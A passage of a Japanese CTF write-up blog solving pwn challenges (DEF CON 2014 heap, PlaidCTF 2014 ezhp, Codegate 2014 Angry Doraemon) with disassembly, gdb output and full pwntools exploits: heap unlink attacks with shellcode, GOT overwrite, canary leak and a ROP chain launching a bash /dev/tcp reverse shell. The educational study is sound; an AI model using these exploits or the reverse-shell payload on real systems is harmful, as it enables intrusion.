print "libc_base:%16x" % libc_base
print "system   :%16x" % system

# set system
payload = ''
payload += p64(0xdeadbeef)   # buf
payload += p64(0xdeadbeef)   # buf+8
payload += p64(system)       # buf+16(call rax)
send_data('0', payload)

# start system(/bin/sh)
payload = ''
payload += '/bin/sh'    # buf(arg 1)
send_data('7', payload) # set call eax to buf+16

conn.interactive()

[総評]libc_baseの特定を頑張る問題

DEF CON CTF Qualifier 2014 heap

32bit-ELFでxinetd型だった。今回はheapということでかなりrevに力を入れないといけないなぁと思いつつ問題を解くことにした。ということでさっそく、checksecと実行をしてみた。

shima@chino:~/workspace/pwn_list_easy/heap$ checksec --file heap 
[*] '/home/shima/workspace/pwn_list_easy/heap/heap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

NXは立っているがheapの部分は実際に動かしてみるまで分からないため、実際にgdbmallocされた後で止めてvmmapして確かめた。
f:id:shimasyaro:20170322161519p:plain
これを見るとどうやら、heapには実行権限がついているため、今回はshellcodeを使っても問題なさそうだ。

shima@chino:~/workspace/pwn_list_easy/heap$ ./heap 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=88A8008][size=1246]
[ALLOC][loc=88A84F0][size=1121]
[ALLOC][loc=88A8958][size=947]
[ALLOC][loc=88A8D10][size=741]
[ALLOC][loc=88A9000][size=706]
[ALLOC][loc=88A92C8][size=819]
[ALLOC][loc=88A9600][size=673]
[ALLOC][loc=88A98A8][size=1004]
[ALLOC][loc=88A9C98][size=952]
[ALLOC][loc=88AA058][size=755]
[ALLOC][loc=88AA350][size=260]
[ALLOC][loc=88AA458][size=877]
[ALLOC][loc=88AA7D0][size=1245]
[ALLOC][loc=88AACB8][size=1047]
[ALLOC][loc=88AB0D8][size=1152]
[ALLOC][loc=88AB560][size=1047]
[ALLOC][loc=88AB980][size=1059]
[ALLOC][loc=88ABDA8][size=906]
[ALLOC][loc=88AC138][size=879]
[ALLOC][loc=88AC4B0][size=823]
Write to object [size=260]:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Copied 334 bytes.
[FREE][address=88A8008]
[FREE][address=88A84F0]
[FREE][address=88A8958]
[FREE][address=88A8D10]
[FREE][address=88A9000]
[FREE][address=88A92C8]
[FREE][address=88A9600]
[FREE][address=88A98A8]
[FREE][address=88A9C98]
[FREE][address=88AA058]
[FREE][address=88AA350]
Segmentation fault (コアダンプ)

heap overflowと書かれていたため、260以上の入力を行ったとき、セグフォを起こした。このときfreeはallocされた順番にfreeされていき、11番目でセグフォで終了したため、「ここら辺がHeap overflowで書き換わったのかな?」と思いつつfreeを中心に見ていくことにした。すると以下のような形でchunkが20個並んでいることが分かった。 f:id:shimasyaro:20170322104516p:plain
そして、次のchunkを調べるときは現在のSIZEのアドレスからSIZEを足すことによって次のchunkのSIZEを指すといった動きをしていた。この動きを利用して以下のような動きが気になった。

mov     eax, [ebp+next_size_ptr]
mov     eax, [eax]
and     eax, 0FFFFFFFEh ; P->fd->size
add     eax, [ebp+next_size_ptr]
mov     eax, [eax]      ; P->fd->fd->size
and     eax, 1          ; P->fd->fd->size (prev is alloc?)
test    eax, eax
jnz     short prev_alloc

どうやら、and処理の部分でprev_inuseを操作していることが分かる。prev_inuseをみて、前のchunkがどうかを見ている。freeはallocされた順番に行われていく。ここの処理では、直下のchunkがallocかfreeかでその結果でjnzで処理を分けている。図にすると以下のようになる。
f:id:shimasyaro:20170322112442p:plain
ここでどういったoverflowをするのかというと、直上の260byteの部分のchunk(11個目)がoverflowし、12個目のchunkが書き換わってしまうバグだ。このバグを利用して攻撃を行う。攻撃する方法としてはprev_inuseチェックした後、freeと判断されて分岐先となる、unlink処理の部分を利用することにした。

prev_free:
mov     eax, [ebp+fd]
mov     edx, [ebp+bk]
mov     [eax+8], edx    ; P->fd->bk = P->bk
mov     eax, [ebp+bk]
mov     edx, [ebp+fd]
mov     [eax+4], edx    ; P->bk->fd = P->fd

ここで攻撃として利用するのはunlink attackを行う。行う部分は、P->fd->bk = P->bkだ。eaxにはP->fdが入るため、ここをP->fd->bk(適当なGOTアドレス-8) = P->bk(chunk data address 11個目)にする。攻撃はこれでいいが、問題はどうやって、free状態だと誤認させるかだ。
ここで注目しなければならないことは「SIZEを足して次のchunkにアクセスしている」という点だ。つまり、12個目のSIZEを適当なサイズにして「1bit目が0になっているところに飛ばす」ということをやれば誤認する。
ここで注意しなければならないことは11個目のchunkはまだ、「freeされていない」という点だ。つまり、適当なサイズにする時に「1bit目は必ず1」にしなければunlinkの途中でエラーを起こして強制終了になる。以上をまとめると以下のような図になる。
f:id:shimasyaro:20170322125139p:plain
図のchunk12個目のSIZEが0x21になっているがDataの部分はすべて0になっているため、適当な場所に飛ばすためにこの値にしている。gotのアドレスだが、freeが終了するたびにprintfで表示しているため、ここの値を書き換えることにした。
しかし、heapのアドレスに飛ばしてもまだ、落とし穴がある。

gdb-peda$ x/30wx 0x804f350
0x804f350: 0x00000000 0x0804bffc 0x00000000 0x00000000
0x804f360: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f370: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f380: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f390: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f3a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f3b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f3c0: 0x00000000 0x00000000

これは、chunk11個目のdata部分に飛んだ様子だが、0x0804bffc(printf.got - 8)が入っているのが分かるだろうか。つまりここの部分がunlink attackしたときに潰されてるために攻撃を工夫したければならない。
攻撃方法として「jmp命令を入れてshellcodeの部分に飛ばす」ということをする。最初の4byteの部分をjmp命令とpaddingで埋め、NOPがある部分に飛ぶようにし、NOP sledさせてshellcodeを起動させるようにする。
以上を踏まえると以下のようなcodeになる。こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./heap')
print_got = elf.got['printf']

conn = process('./heap')
print "[+] connect to local\n"

# get chunk data address (number of 11)
heap_addr  = int(conn.recvuntil('][size=260]')[-18:-11],16)
print "heap:%08x" % heap_addr
buffer_len = 200
shellcode = asm(shellcraft.sh())

# unlink attack
payload = ''
payload += "\xeb\x10"+"\x90\x90"                 # jmp 0x10 + padding(2byte)
payload += '\x90' * 56                           # NOP sled
payload += shellcode
payload += '\x00' * (buffer_len - len(shellcode))
payload += p32(0x21)                             # size(previn_use=0)
payload += p32(print_got - 8)                    # fd
payload += p32(heap_addr)                        # bk
payload += '\n'

conn.send(payload)

conn.interactive()

jmp命令で適当なNOPの場所に飛ばしてスライドさせてshellcodeが起動するようにした。
[総評]unlink attackの基礎(実際のmallocの動きに近い)を知ることができた。

PlaidCTF 2014 ezhp

私は今までheap問題のpwnを解いてこなかったが、今回はこれが初めてのheap問題だった。私の中でheap問題はかなりrevで気合を入れないと脆弱性が見えてこないことが分かった。「heap問題の脆弱性は大体はfree関係の脆弱性が多いよなぁ」という考えがなかったら、いつまでたっても脆弱性が見つからなかったかもしれない。
では、さっそく見てみよう!今回の問題は32bit-ELFでxinetd型だった。ではさっそくセキュリティチェック

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

特に何も対策をされていないようだった。ふむ、さっそく実行してみようかな。

Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.

note系の問題であることが分かった。それぞれがどういった動きをするのか実際に動かしてもよくわからないため、とりあえずデバッグしながら動かしてみたら以下のようなことが分かった。

  • addでユーザが指定したsize分heapを確保する。(id:0からスタート)

  • removeでheapの解放

  • changeで指定したidの確保されたheapのDataにユーザが指定したsize分、ユーザが入力した値を入れる。

  • printで指定したidのDataを表示

  • quitはプログラム終了

さらに、確保されたheapは以下のような構成の構造体だった。

struct chunk{
int size
struct chunk *next
struct chunk *prev
char data[]
}

この構造体自体は実際に3、4個くらいaddで作った後に、確保されたheapのアドレスをデバッグして覗いてみると分かった。dataの部分は可変長になっており、ユーザが指定したsizeに応じて変化する。
次に気になったのはheap overflowができることだ。以下はaddをsizeを4byteにしてheapの中身を見たときの様子である。

gdb-peda$ x/40wx 0x804c00c                   
0x804c00c: id:0   0x00000019 0x0804c024 0x0804c000 0x00000000
0x804c01c: 0x00000000 0x00000000 id:1   0x00000019     0x0804c03c
0x804c02c: 0x0804c00c 0x00000000 0x00000000 0x00000000
0x804c03c: id:2   0x00000019 0x0804c054 0x0804c024 0x00000000
0x804c04c: 0x00000000 0x00000000

どうやら、最低でもsizeは0x19になり、next,prevの4byteずつの後にDataは0xc(12)byte分入るようになっているようだった。(sizeを0x8にしても変わらなかったため)ここのData部分はheap overflowの脆弱性があり、例えば上記のような例であれば、id:0のdata部分からid:1のchunk構造体以下すべての部分を書き換えることができる。(menuのchangeを使って)今回はこの脆弱性を使うのかなと思った。
次に気になったのはところどころに入っていた[eax*4+0x804a060]の部分だ。どうやらこれはeaxレジスタにidの番号(0スタート)を入れてその番号に応じて4byteずつずれて入っているchar data[]のアドレスを格納しているグローバル変数だった。以下のようにid:0から順番に格納されている

gdb-peda$ x/10wx 0x804a060
0x804a060: 0x0804c018 0x0804c030 0x0804c048 0x00000000

便宜上ここではnotes_tableと呼ぶことにする。このnotes_tableはremove, change, printでなんらかのDataに関する処理をする時に使われていた。
さて、ここまで大まかな動きはある程度特定はできた。ここから脆弱性を見ていくためにmenuごとの処理(関数ごとの処理)を詳しくデバッグしながら見ていかなければならないが、闇雲に探すのもさすがに骨が折れるので、あたりをつけることにした。それは「heapってそういえばfree関係の脆弱性が多いよなぁ」である。
この考えをもってfreeする関数であるremoveの処理から見ていくことにした。すると以下のような処理が気になった。

mov     eax, [ebp+data]
sub     eax, 0Ch
mov     [ebp+now], eax  
mov     eax, [ebp+now]  
mov     eax, [eax+8]   
mov     [ebp+prev], eax             now->prev
mov     eax, [ebp+now] 
mov     eax, [eax+4]    
mov     [ebp+next], eax             now->next
cmp     [ebp+prev], 0               もしnow->prevがなかったらjzでcmp     [ebp+next], 0まで飛ぶ 
jz      (cmp     [ebp+next], 0)
mov     eax, [ebp+prev] 
mov     edx, [ebp+next]
mov     [eax+4], edx                now->prev->next = now->next
cmp     [ebp+next], 0
jz      (mov    eax,ds:0x804b060) もしnow->prevがなかったらjzでmov    eax,ds:0x804b060まで飛ぶ 
mov     eax, [ebp+next]
mov     edx, [ebp+prev]
mov     [eax+8], edx                 now->next->prev = now->prev
mov    eax,ds:0x804b060     

どうやら、removeするidを便宜上nowという名前で考えるともし、nowが前のidのポインタ(now->prev)を持っていれば、その前のポインタのnext(now->prev->next)をnow->nextにする。また、nowが次のidのポインタ(now->next)を持っていれば、その次のポインタのprev(now->next->prev)をnow->prevにしてremoveするnowのリンクを外す処理を行う。
言葉ではわかりにくいと思うので以下のような図で考えてみよう。
f:id:shimasyaro:20170307162414p:plain 今回は例をとってid:1をremoveするということを考えてみよう。図のようにremoveされる前はこのようにlinkされて繋がっている。しかし、上記に示した命令の一部が実行されると図が変化する。

cmp     [ebp+prev], 0               もしnow->prevがなかったらjzでcmp     [ebp+next], 0まで飛ぶ 
jz      (cmp     [ebp+next], 0)
mov     eax, [ebp+prev] 
mov     edx, [ebp+next]
mov     [eax+4], edx                now->prev->next = now->next

f:id:shimasyaro:20170306153132p:plain id:0のnextの指している部分が変化したのがわかるだろうか?そう、つまり、id:1を指していたのがid:2に変化したのである。いわゆるunlink処理をおこなったのである。便宜上これを①unlinkとしておこう。この①unlinkはここの図でいうid:1のprevがなければ処理を飛ばすことになる。
そして次に、また、図が変化する処理は、次の命令が実行されたときである。

cmp     [ebp+next], 0
jz      (mov    eax,ds:0x804b060) もしnow->prevがなかったらjzでmov    eax,ds:0x804b060まで飛ぶ 
mov     eax, [ebp+next]
mov     edx, [ebp+prev]
mov     [eax+8], edx                 now->next->prev = now->prev

f:id:shimasyaro:20170306153123p:plain id:2のprevの指している部分が変化したのが分かるだろうか?そう、つまり、id:1を指していたのがid:0に変化したのである。いわゆるunlink処理を行ったのである。便宜上これを②unlinkとしておこう。この②unlinkはここの図でいうid:1のnextがなければ処理を飛ばすことになる。
実はここのunlink処理に脆弱性がある。もし、id:1のprevとnextが任意の値になっていたらどうなっていただろうか?じつは任意の値を指すようになってしまう脆弱性がここにはあるのだ。現在のglibc mallocではチェックするような機構が存在するらしいが、今回の問題ではそのチェック機構は存在していない。この脆弱性を利用した攻撃をunlink attackと呼ぶ。
しかし、私はこの脆弱性を上手く利用できずに、とりあえずwrite-upをみた。すると、とても面白い攻撃の仕方をしていた。攻撃は簡単に示すと以下のようになる。

  1. id:0またはid:1から(今回はid:1からする)heap overflowでid:2のnext=notes_table, prev = notes_table - 4にする。
  2. id:2をremoveし、id:0のdataアドレスをnotes_tableアドレスに書き換える。
  3. id:0のdataがnotes_tableのアドレスであるため、changeで適当なアドレス(notes_table)、puts_gotアドレス(notes_table + 4)、shellcode(notes_table + 8)にする。
  4. id:1のchangeを行いputs_gotアドレスの書き換えを行い、そのアドレスをshellcodeが置かれているnotes_table + 8にする。

    順を追って説明していく。まず、1,2だが、これは単純にnotes_tableに格納されているid:0のdataアドレスをnotes_tableアドレス(0x804a060)に変更したいだけである。具体的には①unlinkで書き換わるようにする。ぶっちゃけ、②unlinkは関係ない。
    次に3だが、changeはdataに格納するときに[eax*4+0x804a060]とやってidごとのdataアドレスをnotes_tableから取り出す。このため、id:0のdataアドレスはid:2のremoveを行ったときにはnotes_tableアドレスに書き換わっていることを利用してid:0, id:1, id:2の順番でnotes_tableに格納されているdataアドレスを書き換える。
    最後の3はid:1のdataアドレスにはputs_gotアドレスが格納されているため、GOT Overwriteでアドレスをid:2のdataアドレスから格納されているshellcodeに飛ぶよう書き換えて、puts関数が実行されると同時にshellcodeが格納されている場所に飛んでshellが起動する。
    あとは、コードを書くだけ、こーどべちょー
#!/usr/bin/env python2
from pwn import * 

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
#elf = ELF('./ezhp')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 8888
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./ezhp')
        print "[+] connect to local\n"

def add_note(size):
    conn.recvuntil('Please choose an option.')
    conn.sendline('1')
    conn.recvuntil('Please give me a size.')
    conn.sendline(str(size))

def remove_note(id):
    conn.recvuntil('Please choose an option.')
    conn.sendline('2')
    conn.recvuntil('Please give me an id.')
    conn.sendline(str(id))

def change_note(id, data):
    conn.recvuntil('Please choose an option.')
    conn.sendline('3')
    conn.recvuntil('Please give me an id.')
    conn.sendline(str(id))
    conn.recvuntil('Please give me a size.')
    conn.sendline(str(len(data)))
    conn.recvuntil('Please input your data.')
    conn.send(data)

notes    = 0x804a060 # notes_table
puts_got = 0x804a008
shellcode = asm(shellcraft.sh())

# make notes
add_note(0x04) # id:0
add_note(0x04) # id:1
add_note(0x04) # id:2

# send payload(heap overflow from id:1 data)
# overwrite id:2 next and prev
payload = ''
payload += '\x90' * 0xc    # id:1 data
payload += p32(0x19)       # id:2 size
payload += p32(notes)      # id:2 next
payload += p32(notes - 4)  # id:2 prev
change_note(1, payload)

# unlink attack
# 1. now->prev->next(id:0_data_addr) = now->next(notes_table)
# 2. now->prev->next(id:2_data_addr) = now->prev(notes_table + 4)
remove_note(2)

# rewrite notes_table
# notes_table + 0 = 0xdeadbeef
# notes_table + 4 = got_address
# notes_table + 8 = shellcode
payload = ''
payload += p32(0xdeadbeef)
payload += p32(puts_got)
payload += shellcode
change_note(0, payload)

# GOT overwrite(notes_table + 4 is got_address)
# got_address = notes_table + 8 (shellcode_address)
change_note(1, p32(notes + 8))

conn.interactive()

【総評】heap辛い…辛くない?あと、heapのwrite-up辛い…辛くない?

Codegate CTF Preliminary 2014 Angry Doraemon

今回の問題は32bit-ELFでfork-server型であった。問題の名前がもう例のアニメのネコ型ロボットがブチ切れて地球破壊爆弾を取り出すイメージしかなかった。
それはさておき、さっそく実行してみたが…どうやら、以下のようなファイル名がなければ正常に動かないらしい。ついでにセキュリティチェックも同時に行った。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

mouse.txt
doraemon.txt
bread.txt

この三つのファイルがないと正常に動かないようになっていた。PIEは無効になってるし使ってる関数は使えそう。とりあえず、同じディレクトリに配置して実行!

shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ nc localhost 8888
  Angry doraemon! fight!
Waiting 2 seconds...

Doraemon H.P: 100
- Attack menu -
 1.Sword
 2.Screwdriver
 3.Red-bean bread
 4.Throw mouse
 5.Fist attack
 6.Give up
>

どうやら、menuを選ぶ系の問題のようだ。うーむ、とりあえず、ユーザーが入力を多く受け付けている関数を探して、適当な値を入れてから反応がないのであれば、詳細を見ていこうかな。とりあえず、stack overflowしないか見ていこう。
この6つのmenuの中で一番入力を受け付けているのは4だった。(逆アセンブルしてread関数を中心に探した)まずはここを中心に探していこうかな。
まず気になったのはmenuでいうSword部分が実装されているuser関数だ。

mov     dword ptr [esp+8], 0
mov     dword ptr [esp+4], offset arg ; "sh"
mov     dword ptr [esp], offset path ; "/bin/sh"
call    _execl

どうやら今回はlibcを特定するような必要がなさそうだった。execlと/bin/shで用意されているため、この二つを使えば良さそうだった。
次に気になったのはmenuの中の4番目になるThrow mouseだ。

mov     dword ptr [esp+8], 6Eh ; nbytes
lea     eax, [ebp+buf]
mov     [esp+4], eax    ; buf
mov     eax, [ebp+fd]
mov     [esp], eax      ; fd
call    _read
movzx   eax, byte ptr [ebp+buf]
cmp     al, 79h

そのほかのmenuよりも受け付けるbyte数が多く。さらに、最初の文字がASCII文字でyであったら、read関数で受け付けた中身を表示するような形をとっていた。しかし、ここで疑問に思った。「中身を表示させるような必要なくない?しかも、NULL挿入されていないし」

lea     eax, [ebp+buf]
mov     [esp+8], eax
mov     dword ptr [esp+4], offset aYouChooseS ; "You choose '%s'!\n"
mov     dword ptr [esp], offset s ; s
call    _sprintf
mov     [ebp+n], eax
mov     eax, [ebp+n]
mov     [esp+8], eax    ; n
mov     dword ptr [esp+4], offset s ; buf
mov     eax, [ebp+fd]
mov     [esp], eax      ; fd
call    _write

もしかしたら、ここらへんでstack overflowするような脆弱性があるのだろうか?とりあえず入力部分を中心に適当な文字を入れて試してみよう。

shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ nc localhost 8888
  Angry doraemon! fight!
Waiting 2 seconds...

Doraemon H.P: 100
- Attack menu -
 1.Sword
 2.Screwdriver
 3.Red-bean bread
 4.Throw mouse
 5.Fist attack
 6.Give up
>4
Are you sure? (y/n) yaaaaaaaaaaaaaaaaaaaaaaa
You choose 'yaaaaaaaaaaaaaaaaaaaaaaa
�Œ'!

"MOUSE!!!!!!!!! (HP - 25)"


shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ ./angry 
*** stack smashing detected ***: ./angry terminated

どうやら、stackが壊れたのを検知したみたい。また、yの文字が入っていたら、NULL挿入しないことによるstackの中身がleakできる脆弱性を見つけた。ここら辺を詳しくデバッグしてみてみよう。

gdb-peda$ x/50wx 0xffffcf50
0xffffcf50:    0x36790000 0x0a363636 0x00000000 0x0a4b2600
0xffffcf60:    0xffffcf88 0xf7eeaf83 0xffffcf98 0x080492c5

どうやら、canaryをつぶしたエラーになっていた。そして、そのcanaryから三つ先の0xffffcf6cにreturnアドレスである0x080492c5が格納されていることが分かった。
私はここで、あることを思い出した。「親プロセスが死なない限りcanaryって変わらないんじゃ?」つまり、最初つなげたときはcanaryをleakさせるために、わざとstackを壊してNULLを入れ忘れによる脆弱性からcanaryをleakし、二回目で攻撃コードを組んで送る方法を思いついた。
結果的にはこれでうまくいったのでこーどべちょー

#!/usr/bin/env python2
from pwn import * 

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./angry')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 8888
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./angry')
        print "[+] connect to local\n"


# leak canary
conn.recvuntil('>')
conn.send('4\n')
payload = ''
payload += 'yAAABBBBCC'
payload += '\n'
conn.recvuntil('Are you sure? (y/n) ')
conn.send(payload)
conn.recvuntil('yAAABBBBCC\n')
canary = '\x00' + conn.recv(3)
conn.close()

# overflow and read execl args
if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 8888
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./angry')
        print "[+] connect to local\n"

bss = elf.get_section_by_name('.bss').header['sh_addr']

# rp++ --file=./angry --rop=3 --unique > gadgets.txt
# 0x080495bd: pop esi ; pop edi ; pop ebp ; ret  ;
rop = 0x080495bd

# read(4, bss, 0x100) return rop
read = p32(elf.plt['read']) + p32(rop) + p32(4) + p32(bss) + p32(0x100)

binsh = 0x0804970D # used sword fuction
args = ''
args += p32(binsh) # first arg
args += p32(binsh) # second arg
args += p32(bss)   # third arg
args += p32(bss+4) # forth arg
args += p32(0)

#execl(/bin/sh, /bin/sh, bss, bss + 4)
execl = p32(elf.plt['execl']) + p32(0xdeadbeef) + args

conn.recvuntil('>')
conn.send('4\n')
payload = ''
payload += 'A' * 10
payload += canary
payload += '\x90' * 12
payload += read
payload += execl
payload += '\n'
conn.recvuntil('Are you sure? (y/n) ')
conn.send(payload)

# send execl args
args = ''
args += '-c\x00\x00'
args += 'bash -c \'/bin/sh 9<>/dev/tcp/localhost/50001 <&9 >&9 2>&9\'\x00'

conn.send(args)

まず最初につなげたときに、canaryをleakする。canaryの先頭である\x00を改行でつぶしてleakした3byteの先頭に\x00がcanaryになる。次に二回目だが、まず最初のreturn先をread関数にして後で呼ぶexeclの引数をbssセクションに格納するように用意する。
read関数が終わった後のreturn先だが、POP命令を三回行ってread関数の引数を無くした後に、execlをreturn先にする。引数にする/bin/shだが、これはsword関数に使われている/bin/shを使用する。
第三引数以降はbssのアドレスを入れて置き、あとで送るような形にした。引数自体はポート番号50001にreverse shellするような形をとったため、ncコマンド等で50001にlistenしておく。
上手くいけば以下のようになっているはず。

server
shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ ./angry 
*** stack smashing detected ***: ./angry terminated

attacker
shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ python exploit.py r
[*] '/home/shima/workspace/pwn_list_easy/AngryDoraemon/angry'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to localhost on port 8888: Done
[+] connect to server

[*] Closed connection to localhost port 8888
[+] Opening connection to localhost on port 8888: Done
[+] connect to server

[*] Closed connection to localhost port 8888

nc listen 50001
shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ nc -lvp 50001
Listening on [0.0.0.0] (family 0, port 50001)
Connection from [127.0.0.1] port 50001 [tcp/*] accepted (family 2, sport 57361)

【総評】fork-server型canary leakのいい問題